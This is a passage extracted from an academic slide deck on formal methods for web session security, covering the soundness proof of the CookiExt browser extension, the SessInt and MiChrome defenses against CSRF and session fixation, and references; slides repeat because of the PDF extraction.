3 support for HTTP(S) redirects

Stefano Calzavara (DAIS, Unive) Formal Methods for Web Session Security 21 January 2016 22 / 29

Page 51: Formal Methods for Web Session Security - Sysma Unit|sysma.imtlucca.it/cina/lib/exe/fetch.php?media=calzavara.pdf · Formal Methods for Web Session Security Stefano Calzavara Universit

CookiExt: Provably Sound Protection Against Session Hijacking

Soundness

Reactive system = transformer of an input stream into an output stream:

R(I ) = O: reactive system R transforms the input I in the output O

S ≈` S ′: streams S ,S ′ are indistinguishable for attacker `

Definition (Reactive Non-Interference)

R satisfies reactive non-interference iff:

∀`, I , I ′ : I ≈` I ′ ⇒ R(I ) ≈` R(I ′).

Soundness of CookiExt

By giving a suitable definition of ≈`, we prove for Featherweight Firefoxthe security of the HttpOnly and Secure attributes. The soundness ofCookiExt follows from this result.

Stefano Calzavara (DAIS, Unive) Formal Methods for Web Session Security 21 January 2016 23 / 29

Page 52: Formal Methods for Web Session Security - Sysma Unit|sysma.imtlucca.it/cina/lib/exe/fetch.php?media=calzavara.pdf · Formal Methods for Web Session Security Stefano Calzavara Universit

CookiExt: Provably Sound Protection Against Session Hijacking

Soundness

Reactive system = transformer of an input stream into an output stream:

R(I ) = O: reactive system R transforms the input I in the output O

S ≈` S ′: streams S ,S ′ are indistinguishable for attacker `

Definition (Reactive Non-Interference)

R satisfies reactive non-interference iff:

∀`, I , I ′ : I ≈` I ′ ⇒ R(I ) ≈` R(I ′).

Soundness of CookiExt

By giving a suitable definition of ≈`, we prove for Featherweight Firefoxthe security of the HttpOnly and Secure attributes. The soundness ofCookiExt follows from this result.

Stefano Calzavara (DAIS, Unive) Formal Methods for Web Session Security 21 January 2016 23 / 29

Page 53: Formal Methods for Web Session Security - Sysma Unit|sysma.imtlucca.it/cina/lib/exe/fetch.php?media=calzavara.pdf · Formal Methods for Web Session Security Stefano Calzavara Universit

CookiExt: Provably Sound Protection Against Session Hijacking

Soundness

Reactive system = transformer of an input stream into an output stream:

R(I ) = O: reactive system R transforms the input I in the output O

S ≈` S ′: streams S ,S ′ are indistinguishable for attacker `

Definition (Reactive Non-Interference)

R satisfies reactive non-interference iff:

∀`, I , I ′ : I ≈` I ′ ⇒ R(I ) ≈` R(I ′).

Soundness of CookiExt

By giving a suitable definition of ≈`, we prove for Featherweight Firefoxthe security of the HttpOnly and Secure attributes. The soundness ofCookiExt follows from this result.

Stefano Calzavara (DAIS, Unive) Formal Methods for Web Session Security 21 January 2016 23 / 29

Page 54: Formal Methods for Web Session Security - Sysma Unit|sysma.imtlucca.it/cina/lib/exe/fetch.php?media=calzavara.pdf · Formal Methods for Web Session Security Stefano Calzavara Universit

Beyond CookiExt

Outline

1 Web Sessions: Attacks and Defenses

2 CookiExt: Provably Sound Protection Against Session Hijacking

3 Beyond CookiExt

Stefano Calzavara (DAIS, Unive) Formal Methods for Web Session Security 21 January 2016 24 / 29

Page 55: Formal Methods for Web Session Security - Sysma Unit|sysma.imtlucca.it/cina/lib/exe/fetch.php?media=calzavara.pdf · Formal Methods for Web Session Security Stefano Calzavara Universit

Beyond CookiExt

SessInt: Client-side Enforcement of Session Integrity [3]

HttpOnly and Secure only protect cookie confidentiality

... which is not enough

many known and not-so-known attacks against session integrity

CSRF: high integrity requests from low integrity pageslogin CSRF: browser forced into the attacker’s sessionsession fixation: secret cookie value chosen by the attacker

A New Extension: SessInt

3 formal definition of (web) session integrity

3 protection against many more attacks

3 with a security proof!

5 tight, hard-coded security policy → usability issues

Stefano Calzavara (DAIS, Unive) Formal Methods for Web Session Security 21 January 2016 25 / 29

Page 56: Formal Methods for Web Session Security - Sysma Unit|sysma.imtlucca.it/cina/lib/exe/fetch.php?media=calzavara.pdf · Formal Methods for Web Session Security Stefano Calzavara Universit

Beyond CookiExt

SessInt: Client-side Enforcement of Session Integrity [3]

HttpOnly and Secure only protect cookie confidentiality

... which is not enough

many known and not-so-known attacks against session integrity

CSRF: high integrity requests from low integrity pageslogin CSRF: browser forced into the attacker’s sessionsession fixation: secret cookie value chosen by the attacker

A New Extension: SessInt

3 formal definition of (web) session integrity

3 protection against many more attacks

3 with a security proof!

5 tight, hard-coded security policy → usability issues

Stefano Calzavara (DAIS, Unive) Formal Methods for Web Session Security 21 January 2016 25 / 29

Page 57: Formal Methods for Web Session Security - Sysma Unit|sysma.imtlucca.it/cina/lib/exe/fetch.php?media=calzavara.pdf · Formal Methods for Web Session Security Stefano Calzavara Universit

Beyond CookiExt

SessInt: Client-side Enforcement of Session Integrity [3]

HttpOnly and Secure only protect cookie confidentiality

... which is not enough

many known and not-so-known attacks against session integrity

CSRF: high integrity requests from low integrity pageslogin CSRF: browser forced into the attacker’s sessionsession fixation: secret cookie value chosen by the attacker

A New Extension: SessInt

3 formal definition of (web) session integrity

3 protection against many more attacks

3 with a security proof!

5 tight, hard-coded security policy → usability issues

Stefano Calzavara (DAIS, Unive) Formal Methods for Web Session Security 21 January 2016 25 / 29

Page 58: Formal Methods for Web Session Security - Sysma Unit|sysma.imtlucca.it/cina/lib/exe/fetch.php?media=calzavara.pdf · Formal Methods for Web Session Security Stefano Calzavara Universit

Beyond CookiExt

MiChrome: Usable Client-side Security [4]

Flexible, lightweight security policies for web session security:

based on standard information flow labels

specified by web developers, enforced at the browser

no policy = most permissive information flow label

A New Extension: MiChrome

MiChrome extends the browser to enforce the security policies above:

3 security as reactive non-interference

3 covers all the attacks prevented by SessInt

3 with much improved usability

Stefano Calzavara (DAIS, Unive) Formal Methods for Web Session Security 21 January 2016 26 / 29

Page 59: Formal Methods for Web Session Security - Sysma Unit|sysma.imtlucca.it/cina/lib/exe/fetch.php?media=calzavara.pdf · Formal Methods for Web Session Security Stefano Calzavara Universit

Beyond CookiExt

MiChrome: Usable Client-side Security [4]

Flexible, lightweight security policies for web session security:

based on standard information flow labels

specified by web developers, enforced at the browser

no policy = most permissive information flow label

A New Extension: MiChrome

MiChrome extends the browser to enforce the security policies above:

3 security as reactive non-interference

3 covers all the attacks prevented by SessInt

3 with much improved usability

Stefano Calzavara (DAIS, Unive) Formal Methods for Web Session Security 21 January 2016 26 / 29

Page 60: Formal Methods for Web Session Security - Sysma Unit|sysma.imtlucca.it/cina/lib/exe/fetch.php?media=calzavara.pdf · Formal Methods for Web Session Security Stefano Calzavara Universit

Thanks for your attention!

Interested in this line of work?http://www.dais.unive.it/~calzavara

[email protected]

Page 61: Formal Methods for Web Session Security - Sysma Unit|sysma.imtlucca.it/cina/lib/exe/fetch.php?media=calzavara.pdf · Formal Methods for Web Session Security Stefano Calzavara Universit

References

References I

Aaron Bohannon and Benjamin C. Pierce.Featherweight Firefox: formalizing the core of a web browser.In USENIX Conference on Web Application Development (WebApps),pages 1–12, 2010.

Michele Bugliesi, Stefano Calzavara, Riccardo Focardi, and WilayatKhan.Automatic and robust client-side protection for cookie-based sessions.In Engineering Secure Software and Systems (ESSoS), pages 161–178,2014.

Michele Bugliesi, Stefano Calzavara, Riccardo Focardi, Wilayat Khan,and Mauro Tempesta.Provably sound browser-based enforcement of web session integrity.In IEEE Computer Security Foundations Symposium (CSF), 2014.

Stefano Calzavara (DAIS, Unive) Formal Methods for Web Session Security 21 January 2016 27 / 29

Page 62: Formal Methods for Web Session Security - Sysma Unit|sysma.imtlucca.it/cina/lib/exe/fetch.php?media=calzavara.pdf · Formal Methods for Web Session Security Stefano Calzavara Universit

References

References II

Stefano Calzavara, Riccardo Focardi, Niklas Grimm, and MatteoMaffei.Micro policies for web session security.2016.Submitted.

Stefano Calzavara, Gabriele Tolomei, Michele Bugliesi, and SalvatoreOrlando.Quite a mess in my cookie jar! Leveraging machine learning to protectweb authentication.In International Conference on World Wide Web (WWW), pages189–200, 2014.

Stefano Calzavara (DAIS, Unive) Formal Methods for Web Session Security 21 January 2016 28 / 29

Page 63: Formal Methods for Web Session Security - Sysma Unit|sysma.imtlucca.it/cina/lib/exe/fetch.php?media=calzavara.pdf · Formal Methods for Web Session Security Stefano Calzavara Universit

References

References III

Martin Johns, Sebastian Lekies, Bastian Braun, and Benjamin Flesch.BetterAuth: web authentication revisited.In Annual Computer Security Applications Conference (ACSAC),pages 169–178, 2012.

Stefano Calzavara (DAIS, Unive) Formal Methods for Web Session Security 21 January 2016 29 / 29